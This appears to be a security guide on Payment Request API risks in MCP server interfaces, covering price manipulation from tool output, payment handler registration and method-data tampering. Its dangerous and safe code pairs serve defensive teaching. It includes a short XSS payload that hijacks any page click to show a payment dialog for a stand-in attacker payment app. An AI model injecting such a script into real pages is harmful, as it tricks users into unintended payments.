MCP server Payment Request API security — paymentRequest.show() hijacking, payment handler registration as persistent attack surface, price manipulation via tool output, and CSP for payment flows

Price manipulation via tool output in payment details

A billing MCP tool returns a price quote that the client UI uses to construct a PaymentRequest. If the price is taken from the tool response without server-side validation, a malicious MCP server returns a manipulated price:

// Dangerous: payment amount sourced directly from MCP tool response
async function initiatePayment(toolQuoteResult) {
  const paymentRequest = new PaymentRequest(
    [{ supportedMethods: 'basic-card' }],
    {
      total: {
        label: 'SkillAudit Pro Audit',
        amount: { currency: 'USD', value: toolQuoteResult.price } // untrusted!
      }
    }
  );
  const response = await paymentRequest.show();
  // User confirmed a price that came from the tool — attacker set price to '0.01'
  await processPayment(response);
}

// Safe: price comes from server-side pricing API, never from tool output
async function initiatePayment(auditId) {
  // Fetch authoritative price from your own pricing endpoint
  const { price, currency } = await fetch(`/api/pricing/${auditId}`).then(r => r.json());
  // Validate price server-side when processing payment token — this is the real gate
  const paymentRequest = new PaymentRequest(
    [{ supportedMethods: 'basic-card' }],
    { total: { label: 'SkillAudit Pro Audit', amount: { currency, value: price } } }
  );
  const response = await paymentRequest.show();
  // Server re-validates price on payment processing — client price is display-only
  await fetch('/api/process-payment', {
    method: 'POST',
    body: JSON.stringify({ paymentToken: response.details, auditId }) // NOT price
  });
}

paymentRequest.show() triggered by injected scripts

paymentRequest.show() requires a user gesture (transient user activation) in most browsers — it cannot be called from a setTimeout or a script that runs outside a user interaction handler. However, if an MCP UI renders tool output that contains injected JavaScript via XSS, and that script hijacks a legitimate click event handler (by adding a capture-phase listener that calls show() on a pre-constructed PaymentRequest), the injected script can present a payment dialog on any user click within the page — not just on the intended "pay" button:

// Injected script via XSS in tool output — hijacks any click event to show payment dialog
const req = new PaymentRequest(
  [{ supportedMethods: 'https://attacker-payment-app.com' }],
  { total: { label: 'Service Fee', amount: { currency: 'USD', value: '99.99' } } }
);

document.addEventListener('click', async () => {
  try { await req.show(); } catch {} // show dialog on any click — not just intended payment button
}, { once: true, capture: true });

Defense: prevent XSS in tool output rendering. Additionally, use a strict CSP that includes payment-request 'none' (in supporting browsers) on non-payment pages to block Payment Request API access outside of the intended payment flow pages.

Payment handler registration: persistent browser entry point

The Web Payments spec includes a Payment Handler API that allows a web app (installed as a PWA) to register as a payment handler — appearing in the payment sheet alongside Apple Pay, Google Pay, and saved cards when any website calls paymentRequest.show(). Once a user has installed an MCP PWA that has registered as a payment handler, it appears in payment sheets across all websites the user visits. A compromised MCP PWA that registers a malicious payment handler can intercept payments on unrelated sites:

// Payment handler registration in service worker (requires PWA installation)
// ServiceWorkerRegistration.paymentManager.instruments.set(...)
// Once registered, this payment handler appears in EVERY website's payment sheet

// Defense: MCP UIs should NOT register payment handlers
// If your MCP server needs to handle payments, use a dedicated payment service (Stripe, etc.)
// Do not use the Payment Handler API for MCP billing tools

Payment method data validation

The data field of a payment method in the methodData array is passed to the payment handler without validation. If the payment method is a URL-based payment handler (supportedMethods: 'https://payment-handler.example.com'), the data field is passed to that handler. If the data includes fields derived from MCP tool output, the tool can inject values that confuse the payment handler's processing logic:

// Dangerous: payment method data includes MCP tool output
const paymentRequest = new PaymentRequest([
  {
    supportedMethods: 'https://payments.example.com',
    data: {
      merchantId: MERCHANT_ID,
      checkoutToken: toolResult.checkoutToken // tool output — potentially tampered
    }
  }
], details);

// Safe: payment method data from server-generated values only
const { checkoutToken } = await fetch('/api/create-checkout-session').then(r => r.json());
const paymentRequest = new PaymentRequest([
  { supportedMethods: 'https://payments.example.com', data: { merchantId: MERCHANT_ID, checkoutToken } }
], details);

Security comparison: Payment Request API patterns for MCP billing

SkillAudit findings

See also: MCP server Web Share API security (data leaving the browser sandbox) · MCP server fetch() security (URL and credentials validation in API calls)